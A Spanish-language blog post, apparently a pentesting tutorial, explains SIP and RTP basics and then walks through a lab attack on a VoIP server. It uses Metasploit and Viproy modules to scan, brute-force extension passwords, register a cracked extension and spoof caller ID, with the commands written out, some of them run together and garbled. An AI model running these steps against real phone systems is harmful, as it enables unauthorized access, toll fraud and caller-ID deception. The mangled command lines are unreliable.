La adopción de la tecnología de voz sobre protocolo IP (VoIP) cada vez es más amplia, permitiendo a las organizaciones comunicarse a distancias enormes y de forma muy fácil. No obstante, la mayoría de las organizaciones ignoran las potenciales fallas de seguridad asociadas al uso de esta tecnología.
¿Qué es VoIP?
Antes de comenzar, cabe recordar más detalles sobre esta tecnología. La implementación de VoIP permite realizar llamadas de audio utilizando una conexión a Internet en lugar de un teléfono convencional. Algunos socios de puerta de enlace VoIP pueden permitirle llamar a otras personas que tengan un número de teléfono, incluidos números locales, de larga distancia, móviles e internacionales.
VoIP utiliza 5060 como puerto de señalización SIP de forma predeterminada. Se utiliza para registrar el teléfono (por ejemplo, Cisco, Polycom, etc.)
Entre las funciones más importantes de VoIP se encuentran:
- Uso de múltiples líneas
- Servicio de correo de voz
- Grabación de voz
- Registro de llamadas
- Configuraciones modulares
Protocolo SIP
Session Initiation Protocol (SIP) permite a los usuarios establecer comunicaciones, finalizar o modificar llamadas de voz o video. El tráfico de voz o video se transmite mediante el protocolo en tiempo real (RTP). SIP es un protocolo de capa de aplicación que utiliza UDP o TCP para el tráfico. De forma predeterminada, SIP usa el puerto UDP/TCP 5060 para tráfico no cifrado o 5061 para tráfico cifrado TLS.
Como veremos más adelante, existen vectores de ataque Man-in-The-Middle (MiTM) para las implementaciones de VoIP. El protocolo de inicio de sesión se basa en ASCII y es muy similar al protocolo HTTP en que utiliza un modelo de solicitud/respuesta. Las solicitudes de un cliente SIP se realizan a través de SIP URI y AGI a través de un agente de usuario.
Respuestas SIP
Podemos entender las respuestas usando el código de respuesta. Las categorías generales de códigos de respuesta se muestran a continuación:
- 1xx (de información)
- 2xx (éxito)
- 3xx (redirección)
- 4xx (solicitudes fallidas)
- 5xx (el servidor web no puede completar la solicitud)
- 6xx (errores globales)
Estructura de funcionamiento SIP
Una estructura de interfuncionamiento SIP típica consta de lo siguientes elementos:
- El remitente inicia una solicitud INVITE
- El destinatario responde 100 (intenta llamar)
- El remitente comienza a llamar enviando una respuesta 180 (Ring)
- El receptor descuelga el teléfono y envía 200 respuestas exitosas (OK)
- ACK enviado por el iniciador
- La llamada comienza a usar RTP
- Se envía una solicitud BYE para finalizar la llamada
Protocolo de Transporte en Tiempo Real (RTP)
Este es un protocolo de red para transmitir audio y video. RTP se utiliza en sistemas de comunicaciones y entretenimiento que contienen medios de transmisión por secuencias, como apps móviles y video o conferencias. El puerto RTP estándar es 16384 a 32767, estos puertos se utilizan para llamadas SIP. En este caso, usan el rango de puertos UDP 10000-20000 para canales de video, voz y flujo de medios RTP.
Configuraciones empleadas en escenarios reales
- Sistema operativo: Kali Linux 2020.1
- Dirección IP: 192.168.1.4
- Objetivo: Trixbox
- Cliente VoIP: Zoiper
- Dirección IP del cliente: 192.168.1.7
Configuración del kit Viproy VoIP
Antes de comenzar el proceso de pentesting, debemos agregar el kit Viproy-VoIP a nuestro Metasploit. Necesitamos instalar algunas dependencias. Primero actualizaremos nuestras fuentes y luego instalaremos las siguientes dependencias:
sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev
Una vez que se han instalado todas las dependencias, es hora de clonar el Repositorio de Viproy en el sistema Kali Linux. Este contiene los módulos que necesitamos agregar a nuestro Metasploit.
git clone https://github.com/fozavci/viproy-VoIPkit.git
cd /viproy-VoIPkit/modules/auxiliary/cp -r voip/ /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cd /viproy-VoIPkit/modules/auxiliary/spoof/ cp viproy_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/VoIP/
Ahora necesitamos registrar los módulos que copiamos en los archivos Mixins ubicados en /usr/share/Metasploit-framework/lib/msf/core/Additional/.
echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
Esto también se puede hacer manualmente o con otro editor de texto. A continuación, clonamos la versión precompilada de GitHub.
git clone https://github.com/fozavci/metasploit-framework-with-viproy.git
Luego iremos al directorio e instalaremos viproy usando gem.
cd metasploit-framework-with-viproy/gem install bundlerbundle install
Después de eso, tendremos que volver a cargar los módulos en Metasploit.
reload_all
Esto completa la instalación de Viproy Toolkit, por lo que ahora podremos comenzar con el pentesting en nuestro servidor VoIP objetivo. En una red VoIP, la información útil puede encontrarse en gateways o servidores VoIP, sistemas IP-PBX, software de cliente/teléfonos VoIP y extensiones de usuario. Echemos un vistazo a algunas de las herramientas de conteo y toma de huellas digitales más utilizadas.
Reconocimiento del servidor SIP
Usando el módulo de escáner SIP Metasploit para identificar sistemas proporcionando una única IP o un rango de direcciones IP, los expertos en pentesting podrán escanear todos los servidores VoIP y sus parámetros habilitados.
use auxiliary/scanner/sip/optionsset rhosts 192.168.1.0/24run
Ataques de fuerza bruta
Posteriormente es posible usar un ataque de fuerza bruta en el servidor objetivo para extraer sus contraseñas. En este ejemplo, los expertos en pentesting crearon un diccionario de nombres de usuario y uno de contraseñas. El siguiente paso es definir las extensiones, para lo que es posible seleccionar un rango de 0000000 a 99999999 y finalmente lanzar el exploit.
use auxiliary/voip/viproy_sip_bruteforceset rhosts 192.168.1.7set minext 00000000set maxext 99999999set user_file /home/kali/user.txtset pass_file /home/kali/pass.txtexploit
Registro de extensión
Ahora es el momento de dar un paso más y registrar las extensiones para que podamos iniciar llamadas desde la computadora del atacante. Elegimos la extensión 99999999. Descubrimos el secreto del 999. Ahora todo lo que teníamos que hacer era proporcionar la dirección IP, la extensión y el secreto del servidor.
Tan pronto como iniciamos el dispositivo de asistencia, recibimos una respuesta 200 OK del servidor, que decía que la extensión estaba registrada con esta dirección IP.
use auxiliary/voip/viproy_sip_register
set rhosts 192.168.1.7
set username 99999999
set password 999
run
Aquí necesitamos registrar el software ya que no tenemos una línea troncal, línea PSTN o línea PRI para llamadas salientes. Por lo tanto, estamos probando la extensión para invocarla.
Falsificación de llamadas
Aquí podremos falsificar el identificador de llamadas a voluntad. Acorde a los expertos en pentesting, necesitamos definir el inicio de sesión como verdadero para que podamos iniciar sesión en el servidor con el secreto 999. También necesitamos establecer el usuario numérico en verdadero para que pueda aceptar extensiones numéricas.
use auxiliary/voip/viproy_sip_invite
set rhosts 192.168.1.7
set to 00000000
set from 99999999
set login true
set fromname hacker
set username 99999999
set password 999
set numeric users true
run
En cuanto lancemos el dispositivo auxiliar, veremos que hay una llamada desde la extensión 999999999 a la extensión 00000000, la cual configuramos en nuestro cliente Zoiper. También podemos ver que tenemos el identificador de llamadas del hacker que hemos identificado en el dispositivo de asistencia.
Monitoreo de registros
Podemos monitorear los registros en el servidor de VoIP, que contiene información sobre todas las llamadas que se iniciaron, conectaron y desconectaron. Acorde a los expertos en pentesting, podremos verificar las credenciales predeterminadas. Primero conectaremos el servidor usando ssh y luego ejecutaremos el siguiente comando para abrir el panel de la consola de Asterisk.
ssh 192.168.1.7
asterisk -rvvvvvvvvvvvvvvv


No hay comentarios:
Publicar un comentario